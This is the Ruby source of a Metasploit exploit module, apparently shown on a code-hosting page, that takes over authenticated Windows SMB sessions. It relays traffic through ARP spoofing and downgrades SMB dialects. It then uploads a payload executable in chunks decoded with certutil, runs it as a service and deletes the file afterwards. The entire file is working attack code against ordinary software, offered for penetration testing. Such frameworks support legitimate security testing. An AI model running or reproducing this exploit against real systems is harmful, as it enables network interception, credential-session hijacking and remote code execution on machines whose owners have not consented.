Path: blob/master/modules/exploits/windows/smb/smb_shadow.rb
28258 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ManualRanking78include Msf::Exploit::Remote::Capture9include Msf::Exploit::EXE1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Microsoft Windows SMB Direct Session Takeover',16'Description' => %q{17This module will intercept direct SMB authentication requests to18another host, gaining access to an authenticated SMB session if19successful. If the connecting user is an administrator and network20logins are allowed to the target machine, this module will execute an21arbitrary payload. To exploit this, the target system must try to22autheticate to another host on the local area network.2324SMB Direct Session takeover is a combination of previous attacks.2526This module is dependent on an external ARP spoofer. The builtin ARP27spoofer was not providing sufficient host discovery. Bettercap v1.6.228was used during the development of this module.2930The original SMB relay attack was first reported by Sir Dystic on March3131st, 2001 at @lanta.con in Atlanta, Georgia.32},33'Author' => [34'usiegl00'35],36'License' => MSF_LICENSE,37'Privileged' => true,38'Payload' => {},39'References' => [40['URL', 'https://strontium.io/blog/introducing-windows-10-smb-shadow-attack'],41['ATT&CK', Mitre::Attack::Technique::T1021_002_SMB_WINDOWS_ADMIN_SHARES]42],43'Arch' => [ARCH_X86, ARCH_X64],44'Platform' => 'win',45'Targets' => [46['Automatic', {}]47],48'DisclosureDate' => '2021-02-16',49'DefaultTarget' => 0,50'Notes' => {51'Stability' => [ SERVICE_RESOURCE_LOSS ],52'Reliability' => [ UNRELIABLE_SESSION ],53'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]54}55)56)5758register_options(59[60OptString.new('SHARE', [true, 'The share to connect to', 'ADMIN$']),61OptString.new('INTERFACE', [true, 'The name of the interface']),62OptString.new('DefangedMode', [true, 'Run in defanged mode', true]),63OptString.new('DisableFwd', [true, 'Disable packet forwarding on port 445', true]),64OptBool.new('ConfirmServerDialect', [true, 'Confirm the server supports an SMB2 dialect.'])65# For future cross LAN work:66# OptString.new('GATEWAY', [ true, "The network gateway ip address" ])67]68)6970deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE', 'RHOST', 'SECRET', 'GATEWAY_PROBE_HOST', 'GATEWAY_PROBE_PORT',71'TIMEOUT')72end7374def exploit75@cleanup_mutex = Mutex.new76@cleanedup = true77if datastore['DefangedMode'].to_s == 'true'78warning = <<~EOF7980Are you SURE you want to modify your port forwarding tables?81You MAY contaminate your current network configuration.8283Disable the DefangedMode option if you wish to proceed.84EOF85fail_with(Failure::BadConfig, warning)86end87print_good('INFO : Warming up...')88print_error('WARNING : Not running as Root. This can cause socket permission issues.') unless Process.uid == 089@sessions = []90@sessions_mutex = Mutex.new91@drop_packet_ip_port_map = {}92@drop_packet_ip_port_mutex = Mutex.new93@negotiated_dialect_map = {}94@negotiated_dialect_mutex = Mutex.new95@confirm_server_dialect = datastore['ConfirmServerDialect'] || false96@arp_cache = {}97@arp_mutex = Mutex.new98@main_threads = []99@interface = datastore['INTERFACE'] # || Pcap.lookupdev100unless Socket.getifaddrs.map(&:name).include? @interface101fail_with(Failure::BadConfig,102"Interface not found: #{@interface}")103end104@ip4 = ipv4_addresses[@interface]&.first105fail_with(Failure::BadConfig, "Interface does not have address: #{@interface}") unless @ip4&.count('.') == 3106@mac = get_mac(@interface)107fail_with(Failure::BadConfig, "Interface does not have mac: #{@interface}") unless @mac && @mac.instance_of?(String)108# For future cross LAN work: (Gateway is required.)109# @gateip4 = datastore['GATEWAY']110# fail_with(Failure::BadConfig, "Invalid Gateway ip address: #{@gateip4}") unless @gateip4&.count(".") == 3111# @gatemac = arp(tpa: @gateip4)112# fail_with(Failure::BadConfig, "Unable to retrieve Gateway mac address: #{@gateip4}") unless @gatemac && @gatemac.class == String113@share = datastore['SHARE']114print_status("Self: #{@ip4} | #{@mac}")115# print_status("Gateway: #{@gateip4} | #{@gatemac}")116disable_p445_fwrd117@cleanedup = false118start_syn_capture119start_ack_capture120start_rst_capture121print_status('INFO : This module must be run alongside an arp spoofer / poisoner.')122print_status('INFO : The arp spoofer used during the testing of this module is bettercap v1.6.2.')123main_capture124ensure125cleanup126end127128# This prevents the TCP SYN on port 445 from passing through the filter.129# This allows us to have the time to modify the packets before forwarding them.130def disable_p445_fwrd131if datastore['DisableFwd'] == 'false'132print_status('DisableFwd was set to false.')133print_status('Packet forwarding on port 445 will not be disabled.')134return true135end136if RUBY_PLATFORM.include?('darwin')137pfctl = Rex::FileUtils.find_full_path('pfctl')138unless pfctl139fail_with(Failure::NotFound, 'The pfctl executable could not be found.')140end141IO.popen("#{pfctl} -a \"com.apple/shadow\" -f -", 'r+', err: '/dev/null') do |pf|142pf.write("block out on #{@interface} proto tcp from any to any port 445\n")143pf.close_write144end145IO.popen("#{pfctl} -e", err: '/dev/null').close146elsif RUBY_PLATFORM.include?('linux')147iptables = Rex::FileUtils.find_full_path('iptables')148unless iptables149fail_with(Failure::NotFound, 'The iptables executable could not be found.')150end151IO.popen("#{iptables} -A FORWARD -i #{@interface} -p tcp --destination-port 445 -j DROP", err: '/dev/null').close152else153print_error("WARNING : Platform not supported: #{RUBY_PLATFORM}")154print_error('WARNING : Packet forwarding on port 445 must be blocked manually.')155fail_with(Failure::BadConfig, 'Set DisableFwd to false after blocking port 445 manually.')156end157print_good('INFO : Packet forwarding on port 445 disabled.')158return true159end160161# This reverts the changes made in disable_p445_fwrd162def reset_p445_fwrd163if datastore['DisableFwd'] == 'false'164print_status('DisableFwd was set to false.')165print_status('Packet forwarding on port 445 will not be reset.')166return true167end168if RUBY_PLATFORM.include?('darwin')169pfctl = Rex::FileUtils.find_full_path('pfctl')170unless pfctl171fail_with(Failure::NotFound, 'The pfctl executable could not be found.')172end173IO.popen("#{pfctl} -a \"com.apple/shadow\" -F rules", err: '/dev/null').close174elsif RUBY_PLATFORM.include?('linux')175iptables = Rex::FileUtils.find_full_path('iptables')176unless iptables177fail_with(Failure::NotFound, 'The iptables executable could not be found.')178end179IO.popen("#{iptables} -D FORWARD -i #{@interface} -p tcp --destination-port 445 -j DROP", err: '/dev/null').close180end181print_good('INFO : Packet forwarding on port 445 reset.')182return true183end184185# This starts the SYN capture thread as part of step two.186def start_syn_capture187@syn_capture_thread = Rex::ThreadFactory.spawn('SynCaptureThread', false) do188c = PacketFu::Capture.new(iface: @interface, promisc: true)189c.capture190c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) != 0 and tcp[tcpflags] & (tcp-ack) == 0")191c.stream.each_data do |data|192packet = PacketFu::Packet.parse(data)193next if @drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s]194195packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)196packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))197packet.to_w(@interface)198end199end200end201202# This starts the ACK capture thread as part of step two.203def start_ack_capture204@ack_capture_thread = Rex::ThreadFactory.spawn('AckCaptureThread', false) do205c = PacketFu::Capture.new(iface: @interface, promisc: true)206c.capture207c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-ack) != 0 and tcp[((tcp[12] >> 4) * 4) + 4 : 4] != 0xfe534d42")208c.stream.each_data do |data|209packet = PacketFu::Packet.parse(data)210next if @drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s]211212packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)213packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))214packet.to_w(@interface)215end216end217end218219# This starts the ACK capture thread as part of step two.220def start_rst_capture221@rst_capture_thread = Rex::ThreadFactory.spawn('RstCaptureThread', false) do222c = PacketFu::Capture.new(iface: @interface, promisc: true)223c.capture224c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-rst) != 0")225c.stream.each_data do |data|226packet = PacketFu::Packet.parse(data)227next if @drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s]228229packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)230packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))231packet.to_w(@interface)232end233end234end235236# This returns a mac string by querying the arp cache by an ip address.237# If the address is not in the cache, it uses an arp query.238def getarp(ip4)239unless @arp_cache[ip4]240mac = arp(tpa: ip4)241@arp_mutex.synchronize { @arp_cache[ip4] = mac } unless mac == []242end243return @arp_cache[ip4]244end245246# This sends an arp packet out to the network and captures the response.247# This allows us to resolve mac addresses in real time.248# We need the mac address of the server and client.249def arp(smac: @mac, dmac: 'ff:ff:ff:ff:ff:ff',250sha: @mac, spa: @ip4,251tha: '00:00:00:00:00:00', tpa: '', op: 1,252capture: true)253p = PacketFu::ARPPacket.new(254eth_src: Rex::Socket.eth_aton(smac),255eth_dst: Rex::Socket.eth_aton(dmac),256arp_src_mac: Rex::Socket.eth_aton(sha),257arp_src_ip: Rex::Socket.addr_aton(spa),258arp_dst_mac: Rex::Socket.eth_aton(tha),259arp_dst_ip: Rex::Socket.addr_aton(tpa),260arp_opcode: op261)262if capture263c = PacketFu::Capture.new(iface: @interface)264c.capture265c.stream.setfilter("arp src #{tpa} and ether dst #{smac}")266p.to_w(@interface)267sleep 0.5268c.save269c.array.each do |pkt|270pkt = PacketFu::Packet.parse pkt271# This decodes the arp packet and returns the query response.272if pkt.arp_header.arp_src_ip == Rex::Socket.addr_aton(tpa)273return Rex::Socket.eth_ntoa(pkt.arp_header.arp_src_mac)274end275return Rex::Socket.addr_ntoa(pkt.arp_header.arp_src_ip) if Rex::Socket.eth_ntoa(pkt.arp_header.src_mac) == tha276end277else278p.to_w(@interface)279end280end281282# This returns a hash of local interfaces and their ip addresses.283def ipv4_addresses284results = {}285Socket.getifaddrs.each do |iface|286if iface.addr.ipv4?287results[iface.name] = [] unless results[iface.name]288results[iface.name] << iface.addr.ip_address289end290end291results292end293294=begin For future cross LAN work: (Gateway is required.)295def ipv4_gateways296results = {}297Socket.getifaddrs.each do |iface|298if iface.addr.ipv4? & iface.netmask&.ipv4?299results[iface.name] = [] unless results[iface.name]300results[iface.name] << IPAddr.new(301IPAddr.new(iface.addr.ip_address).mask(iface.netmask.ip_address).to_i + 1,302IPAddr.new(iface.addr.ip_address).family303).to_string304end305end306results307end308=end309310# This is the main capture thread that handles all SMB packets routed through this module.311def main_capture312# This makes sense in the context of the paper.313# Please read: https://strontium.io/blog/introducing-windows-10-smb-shadow-attack314mc = PacketFu::Capture.new(iface: @interface, promisc: true)315mc.capture316mc.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-ack) != 0 and tcp[((tcp[12] >> 4) * 4) + 4 : 4] = 0xfe534d42")317mc.stream.each_data do |data|318packet = PacketFu::Packet.parse(data)319nss = packet.payload[0..3]320smb2 = packet.payload[4..]321# Only Parse Packets from known sessions322if (smb2[0..4] != "\xFFSMB") && !@sessions.include?(packet.ip_header.ip_daddr) && !@drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s]323case smb2[11..12]324when "\x00\x00" # Negotiate Protocol Request325smb_packet = RubySMB::SMB2::Packet::NegotiateRequest.read(smb2)326# Dialect Count Set To 1327dialect = smb_packet.dialects.first328# TODO: We could negotiate different dialects between the server and client, but it would require a more interactive approach.329unless smb_packet.dialects.min >= 0x300330begin331if @negotiated_dialect_map[packet.tcp_header.tcp_src]332dialect = @negotiated_dialect_map[packet.tcp_header.tcp_src]333elsif @confirm_server_dialect334Timeout.timeout(2.75) do335rport = packet.tcp_header.tcp_src - rand(42..83)336@drop_packet_ip_port_mutex.synchronize do337@drop_packet_ip_port_map[packet.ip_header.ip_saddr + rport.to_s] = true338end339dispatcher = Msf::Exploit::SMB::ShadowMitmDispatcher.new(340interface: @interface,341mac: @mac,342eth_src: Rex::Socket.eth_aton(@mac),343eth_dst: Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr)),344ip_src: Rex::Socket.addr_iton(packet.ip_header.ip_src),345ip_dst: Rex::Socket.addr_iton(packet.ip_header.ip_dst),346tcp_src: rport,347tcp_dst: packet.tcp_header.tcp_dst,348tcp_seq: rand(14540253..3736845241),349tcp_ack: 0,350tcp_win: packet.tcp_header.tcp_win351)352dispatcher.send_packet(353'',354nbss_header: false,355tcp_flags: { syn: 1 },356tcp_opts: PacketFu::TcpOptions.new.encode("MSS:#{Msf::Exploit::SMB::ShadowMitmDispatcher::TCP_MSS}").to_s357)358dispatcher.recv_packet359dispatcher.send_packet(360'',361nbss_header: false,362tcp_flags: { ack: 1 }363)364client = RubySMB::Client.new(dispatcher, smb1: true, smb2: true, smb3: false, username: '', password: '')365client.negotiate366dialect = client.dialect.to_i(16)367# pp dialect368@drop_packet_ip_port_mutex.synchronize do369@drop_packet_ip_port_map[packet.ip_header.ip_saddr + rport.to_s] = false370end371@negotiated_dialect_mutex.synchronize do372@negotiated_dialect_map[packet.tcp_header.tcp_src] = dialect373end374end375# Check if the server supports any SMB2 dialects376else377# We just assume the server supports the client's minimum dialect.378dialect = smb_packet.dialects.min379@negotiated_dialect_mutex.synchronize do380@negotiated_dialect_map[packet.tcp_header.tcp_src] = dialect381end382end383unless dialect >= 0x300384original_size = smb_packet.to_binary_s.size385smb_packet.dialects = [dialect]386smb_packet.negotiate_context_list = []387smb_packet.client_start_time = 0388# Re-Calculate Length: (Optional...)389# nss = [smb_packet.to_binary_s.size].pack("N")390# Add more dialects while keeping the dialect count at one to pad out the message.391((original_size - smb_packet.to_binary_s.size) / 2).times { |_i| smb_packet.dialects << dialect }392smb_packet.dialect_count = 1393packet.payload = "#{nss}#{smb_packet.to_binary_s}"394packet.recalc395end396rescue Timeout::Error, Errno::ECONNREFUSED, RubySMB::Error::CommunicationError, RubySMB::Error::NegotiationFailure => e397# We were unable to connect to the server or we were unable to negotiate any SMB2 dialects398print_status("Confirm Server Dialect Error: #{e}")399end400end401when "\x00\x01" # Session Setup Request, NTLMSSP_AUTH402smb_packet = RubySMB::SMB2::Packet::SessionSetupRequest.read(smb2)403if (smb_packet.smb2_header.session_id != 0) && (@negotiated_dialect_map[packet.tcp_header.tcp_src] && @negotiated_dialect_map[packet.tcp_header.tcp_src] < 0x300)404# Disable Session405@drop_packet_ip_port_mutex.synchronize do406@drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s] = true407end408# Start Main Thread409@main_threads << Rex::ThreadFactory.spawn("MainThread#{packet.tcp_header.tcp_src}", false) do410main_thread(packet: packet, dialect: @negotiated_dialect_map[packet.tcp_header.tcp_src], dstmac: getarp(packet.ip_header.ip_daddr))411end412end413when "\x00\x03" # Tree Connect Request414smb_packet = RubySMB::SMB2::Packet::TreeConnectRequest.read(smb2)415# We assume that if we didn't intercept the SessionSetupRequest, the client must be using SMBv3.416# SMBv3 requires signing on all TreeConnectRequests.417# As we do not have access to the client's session key, we must perform the attack without connecting to a different tree.418# The only tree that we are able to do this with is the IPC$ tree, as it has control over the svcctl service controller.419if smb_packet.path.include?('\\IPC$'.encode('UTF-16LE')) && (@negotiated_dialect_map[packet.tcp_header.tcp_src].nil? || @negotiated_dialect_map[packet.tcp_header.tcp_src] >= 0x300)420# Disable Session421@drop_packet_ip_port_mutex.synchronize do422@drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s] = true423end424# Start Main Thread425@main_threads << Rex::ThreadFactory.spawn("MainThread#{packet.tcp_header.tcp_src}", false) do426# At this point, any SMBv3 version will do in order to conduct the attack.427# Their minor protocol differences should not be relevant in this situation.428# I just assumed that 0x300 is the least secure, which should be the right one to choose.429main_thread(packet: packet, dialect: 0x300, dstmac: getarp(packet.ip_header.ip_daddr))430end431end432end433end434next if @drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s]435436packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)437packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))438# packet.recalc439packet.to_w(@interface)440end441end442443# This handles a session that has already authenticated to the server.444# This allows us to offload the session from the main capture thead.445def main_thread(packet:, dialect:, dstmac:)446dispatcher = Msf::Exploit::SMB::ShadowMitmDispatcher.new(447interface: @interface,448mac: @mac,449eth_src: Rex::Socket.eth_aton(@mac),450eth_dst: Rex::Socket.eth_aton(dstmac),451ip_src: Rex::Socket.addr_iton(packet.ip_header.ip_src),452ip_dst: Rex::Socket.addr_iton(packet.ip_header.ip_dst),453tcp_src: packet.tcp_header.tcp_src,454tcp_dst: packet.tcp_header.tcp_dst,455tcp_seq: packet.tcp_header.tcp_seq,456tcp_ack: packet.tcp_header.tcp_ack,457tcp_win: packet.tcp_header.tcp_win458)459dispatcher.send_packet(packet.payload, nbss_header: false)460data = dispatcher.recv_packet461if dialect >= 0x300462smb_packet = RubySMB::SMB2::Packet::TreeConnectResponse.read(data)463else464smb_packet = RubySMB::SMB2::Packet::SessionSetupResponse.read(data)465end466467address = packet.ip_header.ip_daddr468469smb1 = dialect / 0x100 == 1470smb2 = dialect / 0x100 == 2471smb3 = dialect / 0x100 == 3472client = RubySMB::Client.new(dispatcher, smb1: smb1, smb2: smb2, smb3: smb3, always_encrypt: false, username: '', password: '')473474client.dialect = dialect475client.session_id = smb_packet.smb2_header.session_id476client.smb2_message_id = smb_packet.smb2_header.message_id + 1477client.negotiated_smb_version = dialect478479# SMB3 requires signing on the TreeConnectRequest480# We are unable to sign the request, as we do not have the session key.481# This means that we have to stay on the same tree during the entire attack.482# We can perform the entire attack from the IPC$ tree, at the cost of reduced speed.483# Using this separated delivery technique, we can conduct the attack without disconnecting from the tree.484if dialect >= 0x300485tree = RubySMB::SMB2::Tree.new(client: client, share: "\\\\#{address}\\IPC$", response: smb_packet, encrypt: false)486487print_status('Connecting to the Service Control Manager...')488svcctl = tree.open_file(filename: 'svcctl', write: true, read: true)489svcctl.bind(endpoint: RubySMB::Dcerpc::Svcctl)490scm_handle = svcctl.open_sc_manager_w(address)491print_status('Regenerating the payload...')492493filename = rand_text_alpha(8) + '.exe'494servicename = rand_text_alpha(8)495opts = { servicename: servicename }496exe = generate_payload_exe_service(opts)497print_status('Uploading payload...')498mindex = [exe].pack('m0').bytes.each_slice(1024).to_a.size499[exe].pack('m0').bytes.each_slice(1024).to_a.each_with_index do |part, index|500partfile = "%SYSTEMROOT%\\#{rand_text_alpha(8)}"501print_status("Uploading payload: #{index + 1}/#{mindex}")502launch_service(503svcctl: svcctl,504scm_handle: scm_handle,505service: "%COMSPEC% /c echo #{part.pack('C*')} > #{partfile}.b64 & certutil -decodehex #{partfile}.b64 #{partfile} 0x400000001 & type #{partfile} #{(index == 0) ? '>' : '>>'} %SYSTEMROOT%\\#{filename} & del #{partfile} #{partfile}.b64",506log: false507)508end509sleep 3510print_status("Created \\#{filename}...")511else512print_status('Connecting to the defined share...')513path = "\\\\#{address}\\#{@share}"514tree = client.tree_connect(path)515516print_status('Regenerating the payload...')517filename = rand_text_alpha(8) + '.exe'518servicename = rand_text_alpha(8)519opts = { servicename: servicename }520exe = generate_payload_exe_service(opts)521522print_status('Uploading payload...')523file = tree.open_file(filename: filename, write: true, disposition: RubySMB::Dispositions::FILE_SUPERSEDE)524# The MITM dispatcher supports tcp packet fragmentation.525file.write(data: exe)526527print_status("Created \\#{filename}...")528file.close529tree.disconnect!530531print_status('Connecting to the Service Control Manager...')532ipc_path = "\\\\#{address}\\IPC$"533tree = client.tree_connect(ipc_path)534svcctl = tree.open_file(filename: 'svcctl', write: true, read: true)535svcctl.bind(endpoint: RubySMB::Dcerpc::Svcctl)536scm_handle = svcctl.open_sc_manager_w(address)537end538539launch_service(540svcctl: svcctl,541scm_handle: scm_handle,542service: "%SYSTEMROOT%\\#{filename}"543)544545@sessions_mutex.synchronize { @sessions << address }546sleep 0.5547548# Due to our inability to sign TreeConnectRequests when using SMBv3, we must stay on the same tree.549# The IPC$ tree has access to the svcctl service launcher.550# We can delete the file by scheduling a command as a service to do so.551if dialect >= 0x300552print_status("Deleting \\#{filename}...")553launch_service(554svcctl: svcctl,555scm_handle: scm_handle,556service: "%COMSPEC% /c del %SYSTEMROOT%\\#{filename}",557log: false558)559560print_status('Closing service handle...')561svcctl.close_service_handle(scm_handle)562else563print_status('Closing service handle...')564svcctl.close_service_handle(scm_handle)565tree.disconnect!566567print_status("Deleting \\#{filename}...")568tree = client.tree_connect(path)569file = tree.open_file(filename: filename, delete: true)570file.delete571end572573=begin574# Prevent STATUS_USER_SESSION_DELETED575#sleep 42 <- We must use traffic to prevent the server from closing the connection57620.times do577sleep 2578begin579tree.open_file(filename: '.', read: false)580rescue RubySMB::Error::UnexpectedStatusCode581# Expected STATUS_ACCESS_DENIED582end583end584=end585586tree.disconnect!587588client.disconnect!589return true # Done.590end591592# Launch a svcctl service by creating, starting, and then deleting it593def launch_service(svcctl:, scm_handle:, service:, log: true)594service_name = rand_text_alpha(8)595display_name = rand_text_alpha(rand(8..32))596597print_status('Creating a new service...') if log598svc_handle = svcctl.create_service_w(scm_handle, service_name, display_name, service)599600print_status('Closing service handle...') if log601svcctl.close_service_handle(svc_handle)602svc_handle = svcctl.open_service_w(scm_handle, service_name)603604print_status('Starting the service...') if log605begin606svcctl.start_service_w(svc_handle)607rescue RubySMB::Dcerpc::Error::SvcctlError608# StartServiceW returns an error on success.609end610611sleep 0.1612613print_status('Removing the service...') if log614svcctl.delete_service(svc_handle)615return true616end617618# This cleans up and exits all the active threads.619def cleanup620@cleanup_mutex.synchronize do621unless @cleanedup622print_status 'Cleaning Up...'623@syn_capture_thread.exit if @syn_capture_thread624@ack_capture_thread.exit if @ack_capture_thread625@rst_capture_thread.exit if @rst_capture_thread626@main_threads.map(&:exit) if @main_threads627reset_p445_fwrd628@cleanedup = true629print_status 'Cleaned Up.'630end631end632end633end634635636